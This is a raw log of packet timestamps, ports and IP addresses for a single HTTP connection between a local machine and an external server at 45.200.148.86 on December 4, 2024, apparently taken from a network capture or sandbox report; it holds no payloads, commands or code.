Dec 4, 2024 15:12:30.618257999 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.618359089 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.618401051 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.618983984 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.619105101 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.619152069 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.619652033 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.619992971 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.620054007 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.620348930 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.620476007 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.620520115 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.621128082 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.621264935 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.621309042 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.621849060 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.621912003 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.621985912 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.622513056 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.622535944 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.622586966 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.623269081 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.623414040 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.623670101 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.624034882 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.624151945 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.624192953 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.624701977 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.624838114 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.624891996 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.625447989 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.625560999 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.625597954 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.626132965 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.626224995 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.626374960 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.626992941 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.627087116 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.627130985 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.627579927 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.627626896 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.627679110 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.628319979 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.628432035 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.628520966 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.629062891 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.629295111 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.629367113 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.650639057 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.650713921 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.650773048 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.697859049 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.817604065 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.817699909 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.817713976 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.817759037 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.818161011 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.818171978 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.818185091 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.818207026 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.818222046 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.819084883 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.819150925 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.819163084 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.819191933 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.820024967 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.820084095 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.820091009 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.820103884 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.820152044 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.821013927 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.821079969 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.821091890 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.821130037 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.822027922 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.822040081 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.822052956 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.822082996 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.822112083 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.822910070 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.822969913 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.822982073 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.823031902 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.823939085 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.823988914 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.824007034 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.824038982 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.824065924 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.824862003 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.824927092 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.824939966 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.824971914 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.825905085 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.825952053 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.825983047 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.825994968 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.826035976 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.826814890 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.826879025 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.826890945 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.826926947 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.827819109 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.827867031 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.827878952 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.827887058 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.827923059 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.828720093 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.828811884 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.828823090 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.828856945 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.829730034 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.829773903 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.829790115 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.829803944 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.829840899 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.830841064 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.830910921 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.830948114 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.830960989 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.830967903 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.831090927 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.831811905 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.831866026 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.831876993 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.831918955 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.832720995 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.832766056 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.832770109 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.832782984 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.832812071 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.833693027 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.833750010 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.833762884 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.833797932 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.834623098 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.834671021 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.834685087 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.834686041 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.834734917 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.835608959 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.835659027 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.835670948 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.835720062 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.836600065 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.836652040 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.836677074 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.836694002 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.836741924 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.837562084 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.837641954 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.837654114 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.837688923 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.838553905 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.838632107 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.838651896 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.838663101 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.838704109 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.839487076 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.839524984 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.839536905 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.839575052 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.840451956 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.840509892 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.840523005 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.840537071 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.840578079 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.841566086 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.841617107 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.841629028 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.841660023 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.842550039 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.842607021 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.842685938 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.842696905 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.842741013 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.843859911 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.843918085 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.843930960 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.843964100 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.844737053 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.844786882 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.844798088 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.844830036 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.844854116 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.845805883 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.845865011 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.845875978 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.845901966 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.846837997 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.846884966 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.846896887 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.846926928 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.846955061 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.849107027 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.849155903 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.849167109 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.849198103 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.849236012 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.849283934 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.850164890 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.850332022 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.850389004 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.850683928 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.850708008 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.850718975 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.850730896 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.850756884 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.850780964 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.851206064 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.851337910 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.851350069 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.851373911 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.852026939 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.852078915 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.852113008 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.852124929 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.852181911 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.852839947 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.852966070 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.853008986 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.853056908 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.853539944 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.853575945 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.853578091 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.853586912 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.853629112 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.854437113 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.854507923 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.854518890 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.854567051 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.855525017 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.855586052 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.855598927 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.855623960 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.855653048 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.856445074 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.856543064 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.856554985 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.856604099 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.857368946 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.857410908 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.857470036 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.857575893 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.857718945 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.858217955 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.858299017 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.858314037 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.858397007 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.859190941 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.859303951 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.859311104 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.859349012 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.859594107 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.860208035 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.860297918 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.860310078 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.860332966 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.861138105 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.861190081 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.861203909 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.861246109 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.862158060 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.862242937 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.862255096 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.862301111 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.863156080 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.863223076 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.863245964 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.863257885 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.863302946 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.864032030 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.864336014 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.864392042 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.864428997 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.864443064 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.864554882 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.865447998 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.865540028 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.865552902 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.865595102 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.866589069 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.866637945 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.866671085 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.866682053 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.866731882 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.867235899 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.867294073 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.867306948 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.867342949 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.868263960 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.868321896 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.868334055 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.868334055 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.868374109 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.869215965 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.869285107 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.869301081 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.869329929 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.870167971 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.870213985 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.870248079 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.870260954 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.870311975 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.871148109 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.871284962 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.871296883 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.871340990 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.872071028 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.872129917 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.872167110 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.872179031 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.872217894 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.873056889 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.873125076 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.873136044 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.873184919 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.874012947 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.874057055 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.874188900 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.874201059 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.874248981 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.874984026 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.875046015 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.875056982 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.875097990 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.875952959 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.876007080 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.876039982 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.876051903 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.876100063 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.876991034 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.877051115 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.877063990 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.877103090 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.877903938 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.877948046 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.877952099 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.877964973 CET	80	49792	45.200.148.86	192.168.2.10
Dec 4, 2024 15:12:30.878001928 CET	49792	80	192.168.2.10	45.200.148.86
Dec 4, 2024 15:12:30.878864050 CET	80	49792	45.200.148.86	192.168.2.10
